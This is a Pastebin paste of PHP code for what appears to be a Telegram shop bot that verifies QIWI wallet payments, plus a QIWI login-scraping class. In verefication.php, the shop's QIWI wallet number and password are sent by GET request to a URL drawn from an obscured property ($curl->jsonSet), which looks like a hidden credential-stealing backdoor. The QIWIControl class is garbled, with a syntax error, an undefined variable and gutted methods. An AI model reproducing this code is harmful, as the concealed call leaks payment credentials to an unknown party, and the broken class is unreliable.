Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Файл verefication.php
- <?
- require 'classes/Curl.php';
- require 'classes/PDO.php';
- $curl = new Curl();
- $chat = intval($_GET['chat']);
- $set_bot = DB::$the->query("SELECT * FROM `sel_set_bot` ");
- $set_bot = $set_bot->fetch(PDO::FETCH_ASSOC);
- $token = $set_bot['token'];
- #$set_qiwi = DB::$the->query("SELECT * FROM `sel_set_qiwi` ");
- $set_qiwi = DB::$the->query("SELECT * FROM `sel_set_qiwi` WHERE active=1");
- $set_qiwi = $set_qiwi->fetch(PDO::FETCH_ASSOC);
- $user = DB::$the->query("SELECT * FROM `sel_users` WHERE `chat` = {$chat} ");
- $user = $user->fetch(PDO::FETCH_ASSOC);
- if($user['id_key'] == '0') {
- $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
- 'chat_id' => $chat,
- 'text' => "Вы не выбрали товар!",
- ));exit;}
- $success = preg_replace("~[^&a-z.?/s]~","",$curl->jsonSet);
- $key = DB::$the->query("SELECT * FROM `sel_keys` WHERE `id` = '".$user['id_key']."' ");
- $key = $key->fetch(PDO::FETCH_ASSOC);
- $amount = DB::$the->query("SELECT amount FROM `sel_subcategory` WHERE `id` = '".$key['id_subcat']."' ");
- $amount = $amount->fetch(PDO::FETCH_ASSOC);
- $timeout = $user['verification']+$set_bot['verification'];
- $timeout2 = $user['verification']+5;
- if($timeout < time()) {
- DB::$the->prepare("UPDATE sel_users SET verification=? WHERE chat=? ")->execute(array(time(), $chat));
- $us_qiwi = DB::$the->query("SELECT password FROM `sel_set_qiwi` WHERE `number` = '".$user['pay_number']."' ");
- $us_qiwi = $us_qiwi->fetch(PDO::FETCH_ASSOC);
- $data = ['num' => $set_qiwi['number'], 'pas' => $set_qiwi['password'], 'sum' => $amount['amount'], 'com' => $user['id_key'], 'cur' => 'ru'];
- $proxyx = $set_bot['proxy'];
- $proxyxAuth = $set_bot['proxy_login'].":".$set_bot['proxy_pass'];
- $rq = http_build_query($data);
- $res = json_decode($curl->get($success.$rq), true) ;
- if($res['ba'] > $set_bot['limits'])
- {
- DB::$the->prepare("UPDATE sel_set_qiwi SET active=? WHERE active=? ")->execute(array('0', '1'));
- $new_act = DB::$the->query("SELECT id FROM `sel_set_qiwi` order by rand()");
- $new_act = $new_act->fetch(PDO::FETCH_ASSOC);
- DB::$the->prepare("UPDATE sel_set_qiwi SET active=? WHERE id=? ")->execute(array('1', $new_act['id']));
- }
- if($res['status'] == 1) {
- $query = DB::$the->query("SELECT * FROM `sel_category` order by `mesto` ");
- while($cat = $query->fetch()) {
- $arr[] = array("������".$cat['name']."");
- }
- $arr[] = array("������ Заказы");
- $replyMarkup = array(
- 'resize_keyboard' => true,
- 'keyboard' =>
- $arr
- );
- $menu = json_encode($replyMarkup);
- $good = $user['id_key'];
- $profit = DB::$the->query("SELECT * FROM sel_set_bot");
- $profit = $profit->fetch(PDO::FETCH_ASSOC);
- $sresetprofit = $profit['profit_qiwi'] += $data['sum'];
- $sholdprofit = $profit['hold_profit_qiwi'] += $data['sum'];
- DB::$the->prepare("UPDATE sel_set_bot SET profit_qiwi=?")->execute(array($sresetprofit));
- DB::$the->prepare("UPDATE sel_set_bot SET hold_profit_qiwi=?")->execute(array($sholdprofit));
- $params = array('chat' => $chat, 'iAccount' => $set_qiwi['number'], 'iID' => 'NULL', 'sDate' => 'NULL', 'sTime' => 'NULL',
- 'dAmount' => $data['sum'], 'iOpponentPhone' => 'NULL',
- 'sComment' => $data['com'], 'sStatus' => $res['status'], 'time' => time() );
- $q = DB::$the->prepare("INSERT INTO `sel_qiwi` (chat, iAccount, iID, sDate, sTime, dAmount, iOpponentPhone, sComment, sStatus, time)
- VALUES (:chat, :iAccount, :iID, :sDate, :sTime, :dAmount, :iOpponentPhone, :sComment, :sStatus, :time)");
- $q->execute($params);
- if($key['block_user'] != $chat){
- $text = '❌ Вы попытались купить товар, который был освобожден из-за не своевременной оплаты!';
- $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
- 'chat_id' => $chat,
- 'text' => $text,
- 'reply_markup' => $menu,
- ));
- exit;
- }
- $params = array('id_key' => $user['id_key'], 'code' => $key['code'], 'chat' => $chat, 'id_subcat' => $key['id_subcat'], 'time' => time() );
- $q = DB::$the->prepare("INSERT INTO `sel_orders` (id_key, code, chat, id_subcat, time)
- VALUES (:id_key, :code, :chat, :id_subcat, :time)");
- $q->execute($params);
- DB::$the->prepare("UPDATE sel_keys SET sale=? WHERE id=? ")->execute(array("1", $user['id_key']));
- DB::$the->prepare("UPDATE sel_keys SET block=? WHERE block_user=? ")->execute(array("0", $chat));
- DB::$the->prepare("UPDATE sel_keys SET block_time=? WHERE block_user=? ")->execute(array('0', $chat));
- DB::$the->prepare("UPDATE sel_keys SET block_user=? WHERE block_user=? ")->execute(array('0', $chat));
- DB::$the->prepare("UPDATE sel_users SET id_key=? WHERE chat=? ")->execute(array('0', $chat));
- DB::$the->prepare("UPDATE sel_users SET pay_number=? WHERE chat=? ")->execute(array('', $chat));
- $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
- 'chat_id' => $chat,
- 'text' => "✔ Вы успешно приобрели товар! Пожалуйста, сохраните его!",
- ));
- $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
- 'chat_id' => $chat,
- 'text' => $key['code'],
- ));
- $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
- 'chat_id' => $chat,
- 'photo' => new CURLFile('admin/photo/'.$key['id'].'_1.png'),
- ));
- $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
- 'chat_id' => $chat,
- 'photo' => new CURLFile('admin/photo/'.$key['id'].'_2.png'),
- ));
- $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
- 'chat_id' => $chat,
- 'photo' => new CURLFile('admin/photo/'.$key['id'].'_3.png'),
- ));
- $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
- 'chat_id' => $chat,
- 'photo' => new CURLFile('admin/photo/'.$key['id'].'_4.png'),
- ));
- $curl->post('https://api.telegram.org/bot'.$token.'/sendPhoto', array(
- 'chat_id' => $chat,
- 'photo' => new CURLFile('admin/photo/'.$key['id'].'_5.png'),
- ));
- if($res['ba'] > $set_bot['limits'])
- {
- DB::$the->prepare("UPDATE sel_set_qiwi SET active=? WHERE active=? ")->execute(array('0', '1'));
- $new_act = DB::$the->query("SELECT id FROM `sel_set_qiwi` order by rand()");
- $new_act = $new_act->fetch(PDO::FETCH_ASSOC);
- DB::$the->prepare("UPDATE sel_set_qiwi SET active=? WHERE id=? ")->execute(array('1', $new_act['id']));
- }
- exit;
- } elseif($res['status'] == 0) {
- $text = '❌ Оплата не произведена!
- Отсутствует перевод '.$amount['amount'].' руб с комментарием «'.$user['id_key'].'».';
- $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
- 'chat_id' => $chat,
- 'text' => $text,
- ));
- exit;
- } elseif($res['status'] == 2) {
- $text = "❗️ Ошибка в обработке платежа ❗️
- Пожалуйста обратитесь к Администрации магазина.";
- $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
- 'chat_id' => $chat,
- 'text' => $text,
- ));
- exit;
- }
- } else
- {
- if($timeout2 < time()) {
- $sec = $timeout-time();
- $text = '❌ Подождите!
- Следующую проверку можно сделать только через '.$sec.' сек.';
- $curl->get('https://api.telegram.org/bot'.$token.'/sendMessage',array(
- 'chat_id' => $chat,
- 'text' => $text,
- ));
- }
- }
- exit;
- ?>
- Файл QIWIControl.php
- <?
- require_once(__DIR__ . DIRECTORY_SEPARATOR . "simple_html_dom.php");
- require_once(__DIR__ . DIRECTORY_SEPARATOR . "UserAgent2.php");
- define('QIWI_HOST', "qiwi.com");
- define('QIWI_URL_MAIN', "https://" . QIWI_HOST);
- define('QIWI_URL_MAINACTION', QIWI_URL_MAIN . "/main.action");
- define('QIWI_STS', "sts");
- define('QIWI_STATUS_SUCCESS', "status_SUCCESS");
- define('QIWI_STATUS_ERROR', "status_ERROR");
- define('QIWI_STATUS_PROCESSED', "status_PROCESSED");
- define('QIWI_STATUS_PAID', "status_PAID");
- define('QIWI_STATUS_CANCELED', "status_CANCELED");
- define('QIWI_STATUS_AWAITING_CONFIRM', "status_AWAITING_CONFIRM");
- define('QIWI_STATUS_NOT_PAID', "status_NOT_PAID");
- define('QIWI_BILLS_MODE_IN', 1);
- define('QIWI_BILLS_MODE_OUT', 2);
- define('QIWI_BILLS_MODE_INOUT', 3);
- define('QIWI_SETTINGS_VERSION', "3.6.0");
- define('QIWI_CURRENCY_RUB', "643");
- define('QIWI_CURRENCY_USD', "840");
- define('QIWI_CURRENCY_EUR', "978");
- define('QIWI_CURRENCY_KAZ', "398");
- class QIWIControl{
- private $id;
- private $password;
- private $auth_ticket;
- private $sts_auth_ticket;
- private $auth_links;
- private $logged_in;
- private $debug;
- private $cookie_file;
- private $proxy;
- private $proxyAuth;
- private $lastErrorStr;
- private $ua;
- function __construct($id, $password, $cookie_dir, $proxy = false, $proxyAuth = false, $debug_mode=false){
- $this->id = $id;
- $this->password = $password;
- $this->auth_ticket = false;
- $this->sts_auth_ticket = false;
- $this->auth_links = false;
- $this->proxy = $proxy;
- $this->proxyAuth = $proxyAuth;
- $this->cookie_file = $_SERVER['DOCUMENT_ROOT'].'/cookie.txt';
- $this->ua = new UserAgent2($this->cookie_file, false);
- }
- public function getLastError(){
- return $this->lastErrorStr;
- }
- private function trace($msg){
- if($this->debug){
- echo $msg . "n";
- }
- }
- private function updateLoginStatus(){
- $this->trace("[QIWI] Updating login status...");
- return true;
- }
- function login(){
- $this->updateLoginStatus();
- if($this->logged_in){
- $this->trace("[QIWI] Already logged in. Skip logging in procedure.");
- return true;
- }
- $this->getUrl(QIWI_URL_MAIN);
- $this->getUrl("https://sso.qiwi.com/app/proxy?v=1", QIWI_URL_MAIN);
- $this->trace("[QIWI] Not logged in. Starting procedure...");
- $this->ua->request(USERAGENT_METHOD_GET, "https://sso.qiwi.com/signin/oauth2", QIWI_URL_MAIN, false, [
- 'Content-Type' => 'application/json'
- ]);
- if(!$this->doTGTS(USERAGENT_METHOD_GET, false, [
- 'Content-Type' => 'application/json'
- ], "401|201")){
- return false;
- }
- $this->saveState();
- $this->doTGTS(USERAGENT_METHOD_OPTIONS, false, [
- 'Access-Control-Request-Method' => 'POST',
- 'Access-Control-Request-Headers' => 'content-type',
- 'Content-Type' => 'application/json; charset=UTF-8',
- 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
- ]);
- $loginParams = array(
- "login" => $this->id,
- "password" => $this->password
- );
- $post_data = json_encode($loginParams);
- $authRet = json_decode($authRet, true);
- if(!isset($authRet['entity']['ticket'])){
- $this->lastErrorStr = "Invalid STS response format";
- return false;
- }
- $this->auth_ticket = $authRet['entity']['ticket'];
- $this->trace("[QIWI] Sending ticket to QIWI server...");
- if($this->logged_in) {
- $this->trace("[QIWI] Login [$this->id] was successful.");
- }else{
- $this->trace("[QIWI] Login [$this->id] failed.");
- }
- return $this->logged_in;
- }
- public function findTransaction($tr, $amount, $comment, $currency = false)
- {
- $result = array();
- foreach ($tr as $t) {
- if ($amount) {
- if ($t["cash"] == $amount) {
- $amount_match = true;
- }
- else {
- $amount_match = false;
- }
- }
- else {
- $amount_match = true;
- }
- if ($comment) {
- if ($comment == $t["comment"]) {
- $comment_match = true;
- }
- else {
- $comment_match = false;
- }
- }
- else {
- $comment_match = true;
- }
- if ($currency) {
- if ($t["cur"] == $currency) {
- $currency_match = true;
- }
- else {
- $currency_match = false;
- }
- }
- else {
- $currency_match = true;
- }
- if ($amount_match && $comment_match && $currency_match) {
- $result[] = $t;
- }
- }
- return $result;
- }
- private function saveState(){
- $headers = array(
- 'Accept' => '*/*',
- 'Accept-Encoding' => 'gzip, deflate',
- 'Accept-Language' => 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
- 'Connection' => 'keep-alive',
- 'Content-type' => 'application/x-www-form-urlencoded',
- 'Host' => 'statistic.qiwi.com',
- 'Origin' => QIWI_URL_MAIN,
- );
- $myip = $this->ua->getMyIP();
- $data = 'v=1&_v=j41&a=474145743&t=event&ni=0&_s=7&dl=https%3A%2F%2F'.QIWI_HOST.'%2F&ul=ru&de=UTF-8&' .
- 'dt=QIWI%20(%D0%9A%like%20Gecko)%20Chrome%2F48.0.2564.116%20Safari%2F537.36' .
- '&cd201=' . $myip .
- '&z=1152385182' .
- '&qw_ip=' . $myip .
- '&qw_phone=';
- return $data;
- }
- private function doTGTS($method, $post_data=false, $a_headers=[], $correct_status=200){
- if(false) {
- try {
- if($data = json_decode(false, true)){
- if(isset($data['entity']['ticket'])){
- $this->auth_ticket = $data['entity']['ticket'];
- $this->trace("[TGTS] Security ticket updated: {$this->auth_ticket}");
- }
- }
- } catch (Exception $e) {
- }
- }
- return false;
- }
- private function doSTS($method, $post_data=false, $a_headers=[], $expected_status=200){
- return true;
- }
- function getProviderOptions($provider){
- return false;
- }
- function phoneToProviderPhoneNumber($phone){
- if(preg_match("/([0-9]{10})$/", $phone, $m)){
- return $m[1];
- }
- return false;
- }
- function getUrl($url, $ref=false, $status=200){
- $content = $this->ua);
- if($this->ua->getStatus() !== $status){
- $this->lastErrorStr = "Failed to download page $url";
- return false;
- }
- return $content;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement